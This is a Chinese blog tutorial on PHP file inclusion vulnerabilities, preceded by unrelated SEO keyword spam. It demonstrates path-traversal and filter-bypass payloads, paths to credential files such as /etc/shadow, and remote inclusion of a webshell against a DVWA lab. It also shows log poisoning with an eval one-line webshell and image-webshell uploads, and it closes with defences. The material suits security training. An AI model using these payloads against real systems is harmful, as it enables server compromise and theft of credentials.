太原开发网站公司,购买腾讯云主机可以直接做网站,网页设计与制作实训报告结果,登封网站制作网站建设#x1f31d;博客主页#xff1a;泥菩萨 #x1f496;专栏#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 一、概述 文件包含#xff1a;重复使用的函数写在文件里#xff0c;需要使用某个函数时直接调用此文件#xff0c;而无需再… 博客主页泥菩萨 专栏Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 一、概述 文件包含重复使用的函数写在文件里需要使用某个函数时直接调用此文件而无需再次编写 程序开发人员希望代码更灵活所以将被包含的文件设置为变量用来进行动态调用但正是由于这种灵活性从而导致客户端可以调用恶意文件造成文件包含漏洞
在通过php函数引入文件时由于传入的文件名没有经过合理的校验从而操作了预想之外的文件导致意外的文件泄露甚至恶意的代码注入
【包含】加载和解析
二、分类
1️⃣本地文件包含
用户对输入可控且无过滤可以利用相对路径或绝对路径读取系统
1、绝对路径
从根目录开始的完整路径2、相对路径
相对于当前工作目录的路径3、什么情况下使用相对路径
在网页开发中2️⃣远程文件包含
需要php.ini开启了allow_url_fopen和allow_url_include的配置包含的文件是第三方服务器的文件
allow_url_fopenon默认为on允许从远程服务器或者网站检索数据allow_url_includeonphp 5.2之后默认为off允许include/require远程文件
3️⃣远程与本地包含的区别
原理相同但前者只能包含本地服务器上的文件而后者可以包含远程服务器上的文件
三、php中的四种文件包含函数
require()
include()require_once()
include_once()include在包含的过程中如果出现错误会抛出一个警告程序继续正常运行
require出现错误的时候会直接报错并退出程序的执行
require_once()和include_once()与前两个的不同之处在于只包含一次
四、常见的参数
URL中如果出现了如下内容就可能存在文件包含漏洞
?page
?file
?home五、常见的敏感信息路径
windows系统
c:\boot.ini //查看系统版本C:\windows\repaire\sam //存储windows系统初次安装的密码c:\programFiles\mysql\my.ini //MySQL配置文件内置root密码c:\windows\php.ini //PHP配置文件c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件Linux/Unix系统
/etc/passwd //账户信息/etc/shadow //账户密码文件/usr/local/app/apache2/conf/http.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置/usr/local/app/php5/lib/php.ini //PHP配置文件/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //mySQL配置文件六、如何发现文件包含漏洞
1、观察URL链接是否包括以下类似的关键字**page/include/path/file/link/url **等如果有则可能存在文件包含漏洞
2、观察在URL中出现的赋值参数后的内容是否为一个文件如果是则可能存在文件包含漏洞
3、在关键字处或明显被文件赋值的参数处尝试进行赋值。如https://www.baidu.com 或 /etc/passwd
4、配合文件上传漏洞进行验证
七、DVWA演示
1、Low
file include模块可以注意到有file1.phpfile2.phpfile3.php三个文件 查看源代码 尝试获取服务器上的文件内容输入…/…/…/…/…/etc/passwd多少个…/都行越多越好
…/返回上级目录当返回到根目录时再…/还是根目录 2、Medium
查看源码发现通过str_replace()进行了过滤 双写绕过
..../..../....etc/passwd
..././..././etc/passwd3、High
限制‘了page参数的开头必须是file或include.php fnmatch函数根据指定的模式来匹配文件名或字符串语法
fnmatch(pattern,string,flags)pattern 必需规定要检索的模式
string 必须规定要检查的字符串或文件
flags 可选可以用file://协议进行绕过
http://127.0.0.1/vulnerabilities/fi/?pagefile:///etc/passwd也可以上传一个有一句话木马的文件叫file5.php再通过文件包含内容包含file5.php
4、Impossible
不存在漏洞因为写了白名单其他文件都不可能包含 八、远程文件包含
远程文件包含是指包含第三方服务器上的文件
此处我们使用DVWA的文件包含漏洞包含Upload-Loads中的文件
DVWA靶机 172.17.0.2 -- http://10.0.0.158:8089Upload-labs攻击者自己搭建的服务器 172.17.0.3 -- http://10.0.0.158:8088同一台服务器开放了不同的端口对外进行服务因为底层是同一台服务器所以不算远程文件包含
为什么上面这种情况还算远程文件——因为这个ip是经过映射后的地址
通过 ip a 命令查看真实IP
DVWA IP: 172.17.0.2Upload-Labs IP: 172.17.0.3把DVWA的安全级别改为【LOW】 新建一句话木马文件info.php upload-labs靶场禁用js后上传info.txt一句话木马脚本 粘贴图像连接后访问 打开DVWA靶场的【File Inclusion】模块访问
10.0.0.158:8089/vulnerabilities/fi/?pagehttp://10.0.0.158:8088/upload/info.php实际上这个时候包含的是info.php被解析后的结果了也就是upload的php版本信息可我们想要的是dvwa的php版本信息 我们重新上传info.php把后缀名改为txt 右击——新建标签页打开图像查看 再去DVWA靶场访问就会解析dvwa靶场的phpinfo信息
10.0.0.158:8089/vulnerabilities/fi/?pagehttp://10.0.0.158:8088/upload/info.txt也可以通过蚁剑进行连接 F12打开控制台获取cookie 打开蚁剑填写dvwa靶场链接 设置cookie值测试一下成功 九、文件包含getshell
1、中间件日志包含绕过 网站本身没有上传点又有安全设备就可以使用中间件日志包含绕过 在url后面添加一句话木马无论访问是否成功网站的web日志会记录下来 DVWA中apache2日志文件路径为/var/log/apache2.access.log
包含日志文件需要先对文件和目录添加访问权限让web端有权限去访问
rootc1f28c3146d7# chmod 755 /var/log/apache2
rootc1f28c3146d7# chmod 644 access.log修改完权限后访问
http://10.0.0.158:8089/vulnerabilities/fi/?page?php phpinfo();?查看日志文件发现一句话木马被浏览器进行url编码了
cd /var/log/apache2tail access.log使用burp抓包进行修改将编码字符改为原字符后放包 再次查看日志写入了完整的一句话木马 去前端dvwa靶场包含这个日志文件
http://10.0.0.158:8089/vulnerabilities/fi/?page/var/log/apache2/access.log之后使用同样的方式写入一句话木马?php eval($_POST[a]);?后用蚁剑进行连接
用蚁剑连接时需要加上cookie 2、配合文件上传getshell
攻击思路
1、制作图片马
2、上传图片马
3、以文件包含漏洞来执行图片的php代码在dvwa的File Upload模块上传图片码上传成功获得上传路径 利用文件包含访问图片码直接在URL page后面输入返回的上传路径即可 使用蚁剑进行连接输入地址
10.0.0.158:8089/vulnerabilities/fi/?page../../hackable/uploads/1.png由于文件包含需要登录DVWA在未登录的状态下会导致连接不成功可以直接把已经登录的Cookie信息在编辑shell配置添加到Header头里这样就可以了
在已经登录DVWA页面按F12键获取Cookie 连接成功 十、文件包含漏洞防御
1、设置白名单
2、过滤危险字符…/、http
3、设置文件目录权限
4、关闭危险配置设置allow_url_include和allow_url_fopen为关闭
5、严格检查include类的文件包含函数中的参数是否外界可控